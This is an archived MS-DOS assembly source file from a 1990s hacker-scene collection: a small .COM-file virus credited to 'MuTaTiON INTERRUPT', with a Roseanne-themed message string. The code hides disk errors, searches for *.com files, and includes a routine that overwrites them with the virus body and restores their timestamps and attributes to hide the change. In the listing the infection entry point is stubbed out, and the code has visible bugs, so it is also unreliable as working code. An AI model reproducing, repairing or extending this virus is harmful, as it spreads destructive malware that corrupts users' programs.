home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DAN.ASM < prev    next >
Assembly Source File  |  1994-09-22  |  4KB  |  122 lines

  1. ;  Dan Conner written by MuTaTiON INTERRUPT
  2. ;  To compile this use TASM /M dan.asm
  3. ;---------
  4.  
  5.  
  6. code    segment public 'code'
  7.         assume  cs:code
  8.         org     100h                              ; All .COM files start here
  9.  
  10. start:
  11.         db 0e9h,0,0                               ; Jump to the next command
  12.  
  13. virus:
  14.         mov     ax,3524h                          ; Get int 24 handler
  15.         int     21h                               ; To ES:BX
  16.         mov     word ptr [oldint24],bx            ; Save it
  17.         mov     word ptr [oldint24+2],es
  18.  
  19.         mov     ah,25h                            ; Set new int 24 handler
  20.         mov     dx,offset int24                   ; DS:DX->new handler
  21.         int     21h
  22.  
  23.         push    cs                                ; Restore ES
  24.         pop     es                                ; 'cuz it was changed
  25.  
  26.         mov     dx,offset comfilespec
  27.         call    findfirst
  28.  
  29.         mov     ah,9                              ; Display string
  30.         mov     dx,offset virusname
  31.         int     21h
  32.  
  33.         mov     ax,2524h                          ; Restore int 24 handler
  34.         mov     dx,offset oldint24                ; To original
  35.         int     21h
  36.  
  37.         push    cs
  38.         pop     ds                                ; Do this because the DS gets changed
  39.  
  40.         int    20h                                ; quit program
  41.  
  42. findfirst:
  43.         mov     ah,4eh                            ; Find first file
  44.         mov     cx,7                              ; Find all attributes
  45.  
  46. findnext:
  47.         int     21h                               ; Find first/next file int
  48.         jc      quit                              ; If none found then change dir
  49.  
  50.         call    infection                         ; Infect that file
  51.  
  52.         mov     ah,4fh                            ; Find next file
  53.         jmp     findnext                          ; Jump to the loop
  54.  
  55. quit:
  56.         ret
  57.  
  58. infection:
  59. quitinfect:
  60.         ret
  61.  
  62. FinishInfection:
  63.         xor     cx,cx                             ; Set attriutes to none
  64.         call    attributes
  65.  
  66.         mov     al,2                              ; open file read/write
  67.         call    open
  68.  
  69.         mov     ah,40h                            ; Write virus to file
  70.         mov     cx,eof-virus                      ; Size of virus
  71.         mov     dx,100
  72.         int     21h
  73.  
  74. closefile:
  75.         mov     ax,5701h                          ; Set files date/time back
  76.         push    bx
  77.         mov     cx,word ptr [bx]+16h              ; Get old time from dta
  78.         mov     dx,word ptr [bx]+18h              ; Get old date
  79.         pop     bx
  80.         int     21h
  81.  
  82.         mov     ah,3eh                            ; Close file
  83.         int     21h
  84.  
  85.         xor     cx,cx
  86.         mov     bx,80h
  87.         mov     cl,byte ptr [bx]+15h              ; Get old Attributes
  88.         call    attributes
  89.  
  90.         retn
  91.  
  92. open:
  93.         mov     ah,3dh                            ; open file
  94.         mov     dx,80h+30
  95.         int     21h
  96.         xchg    ax,bx                             ; file handle in bx
  97.         ret
  98.  
  99. attributes:
  100.         mov     ax,4301h                          ; Set attributes to cx
  101.         mov     dx,80h+30
  102.         int     21h
  103.         ret
  104. int24:                                            ; New int 24h (error) handler
  105.         mov     al,3                              ; Fail call
  106.         iret                                      ; Return from int 24 call
  107.  
  108. Virusname db 'Dan Conner - Anything You Say Dear...',10,13
  109. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  110. Made_with db '[NOVEMBER 1994]',10,13              ; Please do not remove this
  111.           db 'Hey: I LOVE ROSEANNE!','$'
  112.  
  113. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  114.  
  115. eof     equ     $                                 ; Marks the end of file
  116.  
  117. oldint24 dd ?                                     ; Storage for old int 24h handler
  118.  
  119. code    ends
  120.         end     start
  121.  
  122.